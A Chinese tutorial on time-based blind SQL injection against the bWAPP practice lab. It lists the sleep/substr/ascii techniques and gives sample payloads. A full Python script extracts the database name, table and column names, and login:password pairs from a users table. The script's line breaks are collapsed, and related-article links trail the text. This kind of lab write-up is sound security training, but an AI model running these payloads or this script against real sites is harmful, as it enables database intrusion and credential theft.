时间盲注步骤:

  1. 准备攻击:首先,攻击者需要准备攻击工具,如Burp Suite等。

  2. 构造查询:攻击者将构造出一个查询请求,该请求的结果可以通过询问数据库的响应时间来推断。

  3. 发送请求:攻击者将构造的请求发送到目标数据库,并开始计时。

  4. 分析响应时间:如果请求的结果在数据库中存在,则响应时间通常会比不存在的请求的响应时间长。攻击者可以利用这一点来推断数据库中的数据。

  5. 收集信息:如果攻击者能够成功泄露数据库中的敏感信息,他可以收集并利用这些信息。

  6. 反复攻击:最后,攻击者可以重复上述步骤,不断收集更多的敏感信息。

常用函数:

sleep(n)               --返回0 命令中断返回1

substr(a,b,c)        --从b为止开始截取字符串a的c长度

count()                --计算总数

ascii()                  --返回字符串的ASCII码

length()               --返回字符串的长度

left(a,b)              --从左截取a的前b位

min(a,b,c)          --从位置b开始,截取a字符串的c位

ord()                  --返回第一个字符ascll值

benchmark(10000000,encode('hello','mom'))

MySQL 的 benchmark 的作用是测试 MySQL 数据库的性能。通过运行 benchmark 测试,可以了解 MySQL 数据库在不同条件下的性能表现,并且可以发现性能瓶颈所在,从而采取措施来优化性能。

运行 benchmark 测试可以帮助你了解 MySQL 数据库的吞吐量、响应时间、并发能力等性能指标。它还可以帮助你确定数据库配置参数的最佳值,并且可以帮助你评估新硬件或软件的性能表现。

运行 benchmark 测试还可以帮助你在更新或升级数据库时做出决策,确保新版本的性能不低于旧版本。它还可以帮助你验证数据库的可扩展性,并且可以帮助你在不同负载条件下评估数据库的稳定性。

目标:

  1. 获取到数据库名称长度
  2. 获取到数据库名称
  3. 获取表名
  4. 获取字段名
  5. 获取数据(login  password)

目标一:

环境 :

(无回显)

原始数据库查询SQL

SELECT * FROM `movies` WHERE Title='Iron Man' AND length(database())=5 AND sleep(3);

靶场SQL:

Man of Steel' and length(database())=5 and sleep(4)#

响应时间为4.02s说明length(database())=5条件成立

目标二:

原始数据库SQL

SELECT * FROM `movies` WHERE Title='Iron Man' AND substr(database(),1,1)='b' AND sleep(3);

靶场SQL:

Man of Steel' and substr(database(),1,1)='b' and sleep(4)#

响应时间为4.02s说明substr(database(),1,1)='b'条件成立

(这个耗费时间太长,需要用到脚本)

完整脚本(py)

import timeimport requests# 获取数据库长度
def get_name_len():headers = {"Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"}for i in range(10):url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Man of Steel' and length(database())={} and sleep(1)%23&Maction=search"url = url.format(i)time_strat = time.time()data = requests.get(url=url, headers=headers)if time.time() - time_strat > 1:print('长度是', i)return i# 获取数据库name
def get_sql_name(count):headers = {"Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"}for j in range(count + 1):for i in range(33, 127):url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Man of Steel' and ascii(substr(database(),{},1))={} and sleep(1)%23&Maction=search"url = url.format(j, i)time_strat = time.time()data = requests.get(url=url, headers=headers)if time.time() - time_strat > 1:print('name是', chr(i))breakprint('\n')# 获取数据库中表的个数
def get_table_count():headers = {"Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"}for i in range(10):url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Iron Man' AND\
(SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=database())={} AND sleep(1)%23&Maction=search"url = url.format(i)time_strat = time.time()data = requests.get(url=url, headers=headers)if time.time() - time_strat > 1:print('共有表个数:', i)return i# 获取数据库中表的name
def get_table_name(count):headers = {"Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"}for j in range(count):print('\n' + "第{}个表名是:".format(j + 1))for k in range(1, 10):for i in range(33, 127):url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Iron Man' AND \ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT {},1),{},1))={} AND sleep(1)%23&Maction=search"url = url.format(j, k, i)time_strat = time.time()data = requests.get(url=url, headers=headers)if time.time() - time_strat > 1:print(chr(i), end='')breakprint('\n')# 获取数据库中表的字段个数
def get_users_count():headers = {"Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"}for i in range(16):url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Iron Man' AND\(SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users')={} AND sleep(1)%23&Maction=search"url = url.format(i)time_strat = time.time()data = requests.get(url=url, headers=headers)if time.time() - time_strat > 1:print('users共有字段数:', i)return i# 获取数据库中的字段名
def get_users_name(count):headers = {"Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"}for j in range(count):print('\n' + "第{}个字段是:".format(j + 1))for k in range(1, 20):for i in range(33, 127):url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Iron Man' AND \ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT {},1),{},1))={} AND sleep(1)%23&Maction=search"url = url.format(j, k, i)time_strat = time.time()data = requests.get(url=url, headers=headers)if time.time() - time_strat > 1:print(chr(i), end='')breakprint('\n')# 获取数据库中users和password字段数据数量
def get_users_password_count():headers = {"Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"}for i in range(16):url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Iron Man' AND\(SELECT COUNT(login) FROM users)={} AND sleep(1)%23&Maction=search"url = url.format(i)time_strat = time.time()data = requests.get(url=url, headers=headers)if time.time() - time_strat > 1:print('users和password字段共有数据数:', i)return i# 获取数据库中users和password字段数据
def get_users_password_data(count):headers = {"Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"}for j in range(count):print('\n' + "第{}个数据是:".format(j + 1))for k in range(1, 55):for i in range(33, 127):url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Iron Man' AND \ascii(substr((SELECT concat(login,':',password) FROM users LIMIT {},1),{},1) )={} AND sleep(1)%23&Maction=search"url = url.format(j, k, i)time_strat = time.time()data = requests.get(url=url, headers=headers)if time.time() - time_strat > 1:print(chr(i), end='')breakprint('\n')if __name__ == '__main__':get_sql_name(get_name_len())get_table_name(get_table_count())get_users_name(get_users_count())get_users_password_data(get_users_password_count())

SQL注入-bWAPP靶场-时间盲注相关推荐

  1. 【SQL注入-05】布尔盲注案例

    目录 1 概述 2 操作环境 3 操作具体步骤 3.1 判断是否存在注入点及注入的类型 3.2 测试数据库库名长度 3.3 逐个测试数据库库名的字符 3.4 测试该数据库中所有表名 3.5 测试use ...

  2. SQL注入--报错和盲注

    目录 报错注入 floor函数报错注入 extractvalue()函数报错注入 updatexml()函数报错注入 盲注 布尔盲注 时间盲注 报错注入 文章内容篇幅较长,请认真研读 回顾之前的文章( ...

  3. SQL注入——基于布尔的盲注(八)

    本章目的 普及布尔盲注技术的运用场景及条件,熟悉length().substr().ascii()等函数的用法,掌握基于布尔的盲注基本流程.PS:面试回答主要为对错论 基本概念 盲注 在SQL注入过程 ...

  4. SQL注入之布尔型盲注

    什么是布尔判断SQL注入? "布尔判断"指的是利用SQL语句**逻辑与(and)**操作,判断and两边的条件是否成立,SQL语句带入输入库查询后判断返回内容(通常返回值仅有非空和 ...

  5. SQL注入-不再显示的盲注

    Blind SQL(盲注) 是注入攻击的其中一种,向数据库发送true或false这样的问题,并根据应用程序返回的信息判断结果,这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQl注入 ...

  6. 【SQL注入14】布尔盲注的半自动化实现(基于BurpSuite工具和sqli-labs-less8靶机平台)

    目录 1 概述 2 实验简介 2.1 实验平台 2.2 实验目标 3 实验过程 3.1 判断注入点及注入类型 3.2 爆库名(踩坑) 3.3 爆库名(成功) 3.4 爆表名 3.5 爆字段名 3.6 ...

  7. SQL注入原理-时间盲注

    小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注. 目录 使用环境 常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数 length()函数 实战演示 1.判 ...

  8. 渗透测试——sql注入进阶/基于时间的盲注/一看就会/

    目录 一.注入点判断 注入类型 SQL注入的类型 二.基于时间的时间盲注 什么是时间盲注 sleep()函数 常用函数 三.bWAPP基于时间的盲注实战 一.注入点判断 1.输入一个单引号',因为语句 ...

  9. SQL注入之时间盲注 和 报错注入(sql-lab第一关为例)

    什么是时间盲注 时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据. 时间盲注的过程 1 ...

最新文章

  1. 原创 | 浅议数据资产市场
  2. opencv播放器和摄像头视频播放
  3. Android框架之路——EventBus的使用
  4. el captain设置环境变量
  5. numpy教程:数组操作
  6. PyTorch入门(一)数据集的一些基础操作
  7. 天线的布局、基本术语、种类、隔离度设计要求介绍
  8. axure怎么转换成html文件,AxureRP教程AxureRP如何生成HTML文件
  9. HTTPServer不能从外部访问
  10. 蓝牙调试器-划时代无线调试器
  11. 市场竞争力法则:以小博大,虽败犹荣
  12. 数学原理-高等数学复习笔记 ——1.2 泰勒公式 罗尔中值定理与拉格朗日中值定理(附加多个实战题目)
  13. 二十余岁时的社会观(三)
  14. linux6 64位,CentOS 6.0 X64官方正式版系统(64位)
  15. swing在java中什么意思_“swing”是什么意思,JAVA初学者:swing是什么
  16. curl伪造ip请求
  17. input框中的文字加下划线
  18. PLSql连接oracle64位
  19. 阿里开源最大商品图库,为业界提供图像分类测评基准
  20. 纬地道路纵断面设计教程_市政工程这样设计!案例视频教程+CAD图纸收好,市政全覆盖...

热门文章

  1. 谁说chatGPT要取代数据分析师?
  2. 十七、主餐 《西敏小要理问答》
  3. 时序动作定位 | 面向时序行为定位任务的无监督预训练
  4. Oracle 中经常遇到的一些问题
  5. 转 --- 恢复误删数据
  6. 2020年书法落款_学书法的请注意,落款不要写“庚子年”
  7. python怎么样?
  8. 地图数据赋能ADAS的探索与实践(转载)
  9. 【组队学习】Task06:FOR、IF、以及while
  10. python entry如何清空_Python3 tkinter基础 Entry insert delete 点击按钮 向输入框赋值 或 清空...